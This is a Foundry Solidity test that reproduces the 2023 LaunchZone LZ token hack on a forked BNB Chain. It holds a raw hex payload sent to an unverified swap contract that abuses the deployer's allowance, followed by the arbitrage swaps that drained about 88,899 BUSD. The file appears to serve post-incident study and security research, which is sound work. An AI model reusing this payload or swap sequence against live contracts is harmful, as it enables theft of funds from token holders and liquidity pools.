src/test/2023-02/LaunchZone_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5 
6// analysis
7// https://blog.verichains.io/p/analyzing-the-lz-token-hack
8// https://twitter.com/immunefi/status/1630210901360951296
9// https://bscscan.com/tx/0xaee8ef10ac816834cd7026ec34f35bdde568191fe2fa67724fcf2739e48c3cae exploit tx
10 
11// reponse
12// https://twitter.com/launchzoneann/status/1631538253424918528
13 
14// contracts to study
15// https://bscscan.com/address/0x0ccee62efec983f3ec4bad3247153009fb483551 proxy for implementation (verified)
16// https://bscscan.com/address/0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01 implementation (unverified)
17// https://bscscan.com/address/0x1c2b102f22c08694eee5b1f45e7973b6eaca3e92  attacker contract
18 
19interface UniRouterLike {
20    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
21 
22    function swapExactTokensForTokens(
23        uint256 amountIn,
24        uint256 amountOutMin,
25        address[] calldata path,
26        address to,
27        uint256 deadline
28    ) external returns (uint256[] memory amounts);
29 
30    function getAmountsOut(
31        uint256 amountIn,
32        address[] calldata path
33    ) external view returns (uint256[] memory amounts);
34}
35 
36interface ERC20Like {
37    function transfer(address to, uint256 amount) external returns (bool);
38 
39    function balanceOf(
40        address account
41    ) external view returns (uint256);
42 
43    function approve(address spender, uint256 amount) external returns (bool);
44 
45    function transferFrom(address from, address to, uint256 amount) external returns (bool);
46 
47    function allowance(address owner, address spender) external view returns (uint256);
48}
49 
50contract LaunchZoneExploit is Test {
51    ERC20Like LZ;
52    ERC20Like BUSD;
53    ERC20Like BISWAPPair;
54    UniRouterLike BISWAPRouter;
55    UniRouterLike pancackeRouter;
56 
57    address immutable BscexDeployer = 0xdad254728A37D1E80C21AFae688C64d0383cc307;
58    address immutable attacker = 0x1C2B102f22c08694EEe5B1f45E7973b6EACA3e92;
59 
60    address immutable swapXImp = 0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01; // unverified
61 
62    function setUp() public {
63        // select and fork bsc at 26024420
64        vm.createSelectFork("bsc", 26_024_420 - 1); // previous block so still there is fund
65        LZ = ERC20Like(0x3B78458981eB7260d1f781cb8be2CaAC7027DbE2);
66        BUSD = ERC20Like(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
67        BISWAPPair = ERC20Like(0xDb821BB482cfDae5D3B1A48EeaD8d2F74678D593);
68        BISWAPRouter = UniRouterLike(0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8);
69        pancackeRouter = UniRouterLike(0x10ED43C718714eb63d5aA57B78B54704E256024E);
70 
71        vm.label(BscexDeployer, "BscexDeployer");
72 
73        vm.label(address(LZ), "LZ");
74        vm.label(address(BUSD), "BUSD");
75        vm.label(address(BISWAPPair), "BISWAP");
76        vm.label(address(BISWAPRouter), "BISWAP Router");
77        vm.label(attacker, "attacker");
78        vm.label(address(this), "thisContract");
79    }
80 
81    function testExploit() public {
82        console.log("Running on BSC at : ", block.number);
83 
84        console.log("BscexDeployer LZ Balalnce", LZ.balanceOf(BscexDeployer));
85        console.log("LZ allowance to swapXImp", LZ.allowance(BscexDeployer, swapXImp) / 1e18);
86 
87        //  lazy payload check the previous swapX PoC
88        //  swapX.call(abi.encodeWithSelector(0x4f1f05bc, swapPath, transferAmount, value, array, victims[i]));
89        //  calling unverified contract of swapXImp with payload containing swap
90        //  (bool success, bytes memory returndata) = swapXImpl.call{value: msg.value}(data);
91 
92        bytes memory payload =
93            hex"4f1f05bc00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000082da53fc059357f82f9b400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000dad254728a37d1e80c21afae688c64d0383cc30700000000000000000000000000000000000000000000000000000000000000020000000000000000000000003b78458981eb7260d1f781cb8be2caac7027dbe2000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d5600000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
94        (bool success,) = address(swapXImp).call(payload);
95        console.log("Payload delivered", success);
96 
97        console.log("BscexDeployer BUSD Balalnce", BUSD.balanceOf(BscexDeployer) / 1e18);
98 
99        // give attacker 50 BUSD
100        deal(address(BUSD), address(this), 50 * 1e18);
101 
102        // get BUSD from attacker
103        console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);
104 
105        // approve router for 50 BUSD
106        BUSD.approve(address(BISWAPRouter), 50 * 1e18);
107 
108        //get amount out for BUSD to LZ
109        // define path
110        address[] memory path = new address[](2);
111        path[0] = address(BUSD);
112        path[1] = address(LZ);
113 
114        uint256[] memory amounts = BISWAPRouter.getAmountsOut(50 * 1e18, path);
115        console.log("amounts BUSD/LZ", amounts[0] / 1e18, amounts[1] / 1e18);
116 
117        // do the swap
118        BISWAPRouter.swapExactTokensForTokens(amounts[0], amounts[1], path, address(this), block.timestamp);
119 
120        // at this point attack has 9_886_999 for 50 BUSD
121        console.log("attacker LZ Balalnce", LZ.balanceOf(address(this)) / 1e18);
122 
123        console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);
124 
125        // reverse swap on pancake
126        // building a  new path
127        address[] memory path2 = new address[](2);
128        path2[0] = address(LZ);
129        path2[1] = address(BUSD);
130 
131        // get amount out for LZ to BUSD from pancackeRouter
132        uint256[] memory amounts2 = pancackeRouter.getAmountsOut(LZ.balanceOf(address(this)), path2);
133 
134        console.log("amounts LZ/BUSD", amounts2[0] / 1e18, amounts2[1] / 1e18);
135 
136        // attacker gets 88,899 BUSD for 9,886,999 LZ which bought for 50 BUSD
137        // approve pancackeRouter for 9,886,999 LZ
138        LZ.approve(address(pancackeRouter), LZ.balanceOf(address(this)));
139 
140        // do the swap
141        pancackeRouter.swapExactTokensForTokens(amounts2[0], amounts2[1], path2, address(this), block.timestamp);
142        // check current BSUSD balance
143        console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);
144    }
145}